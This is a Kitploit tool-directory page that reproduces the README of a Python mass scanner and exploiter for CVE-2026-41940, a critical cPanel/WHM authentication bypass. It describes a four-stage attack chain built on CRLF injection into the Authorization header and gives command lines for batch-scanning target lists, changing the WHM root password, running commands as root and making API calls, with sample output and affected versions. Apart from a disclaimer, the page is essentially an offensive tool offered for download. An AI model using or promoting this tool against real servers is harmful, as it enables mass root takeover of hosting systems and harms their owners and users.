Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940 — cPanel/WHM CVE-2026-41940 - Mass Scanner & Exploiter | Kitploit
Tools/GitHubGitHub/lutfifakee-project/cve-2026-41940
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlAuthenticationRed TeamingPayload Development
GitHublutfifakee-project/cve-2026-41940

CVE-2026-41940

cPanel/WHM CVE-2026-41940 - Mass Scanner & Exploiter

23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View RepositoryWebsite

CVE-2026-41940 - cPanel/WHM Auth Bypass Scanner & Exploit Tool

Python License Security Tested on

cPanel/WHM Authentication Bypass Scanner & Exploit Tool for CVE-2026-41940


⚠️ Disclaimer

This tool is provided for educational purposes and authorized security testing only.

By using this tool, you agree that:

  • You will only test systems you own or have explicit written permission to test.
  • You understand that unauthorized access to computer systems is illegal.
  • You are solely responsible for your actions while using this tool.
  • You may not redistribute, modify, or claim this tool as your own.

❗ The author is NOT responsible for any misuse, illegal activities, damages, or legal consequences resulting from the use of this tool.


🎯 Overview

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel/WHM that may allow attackers to gain unauthorized root-level access without valid credentials.

This tool provides a Python-based implementation for:

  • Detecting vulnerable targets
  • Automating exploitation (for authorized testing)
  • Performing large-scale scanning

🔥 4-Stage Attack Chain


✨ Features


📋 Requirements

root@kitploit:~
Python 3.7+
pip install requests urllib3

🚀 Installation

root@kitploit:~
git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt

# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com

📖 Usage

Basic Commands

root@kitploit:~
# Single target
python cpanel-mass-checker.py -u https://target.com:2087

# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20

# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt

# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com

# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com

# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com

# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com

📄 Target File Format (targets.txt)

root@kitploit:~
# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083

⚙️ Parameters


📊 Example Output

Batch Scan

root@kitploit:~
[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt

Session URL Generation

root@kitploit:~
[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
    https://example.com:2087/cpsessXXXXXXX/

🛡️ Vulnerability Details

FieldValue
CVECVE-2026-41940
SeverityCritical (CVSS 9.8)
Attack VectorNetwork
Privileges RequiredNone

Affected Versions

  • WHM 11.110.x < 11.110.0.97
  • WHM 11.118.x < 11.118.0.63
  • WHM 11.126.x < 11.126.0.54
  • WHM 11.132.x < 11.132.0.29
  • WHM 11.134.x < 11.134.0.20
  • WHM 11.136.x < 11.136.0.5

⚠️ Important Notes

  • Use only on authorized systems
  • Session tokens expire quickly
  • RCE may fail on restricted licenses
  • Some targets require -hostname
  • All traffic uses HTTPS

🧪 Testing Environment

For safe and legal testing:

  • Use your own VPS/server
  • Set up a vulnerable lab environment
  • Always obtain written permission

⭐ Support

If this project helped you, consider giving it a ⭐

Download Tool
StageDescription
1. Pre-authenticationSend invalid credentials to /login/ to obtain whostmgrsession cookie
2. CRLF InjectionInject newline via Authorization: Basic header to leak cpsess token
3. Token PropagationTrigger do_token_denied to propagate token into cache
4. VerificationAccess /json-api/version to confirm WHM root access
FeatureDescription
🔄 Batch ScanningScan multiple targets concurrently
🎯 Single TargetScan individual target with detailed output
🔌 Port ScanningAuto-scan WHM ports (2082, 2083, 2086, 2087)
🔓 Session URLGenerate one-click WHM login URL
💀 RCEExecute system commands as root
🔑 Change PasswordModify WHM root password
📡 WHM API CallsCall WHM API functions
🎨 Colored OutputVisual output for results
💾 Export ResultsSave vulnerable targets to file
ParameterDescriptionExample
-uSingle target URL-u https://target.com:2087
-fTarget list file-f targets.txt
-cConcurrency (threads)-c 20
-oOutput file-o results.txt
-hostnameCustom Host header-hostname cpanel.target.com
--scan-portsScan all WHM ports--scan-ports
-sessionGenerate login URL-session
-passwdChange root password-passwd "NewPass123"
-cmdExecute command-cmd "id"
-keepKeep temporary account-keep
-apiCall WHM API-api listaccts
-api-paramsAPI parameters-api-params "user=root,password=123"
User InteractionNone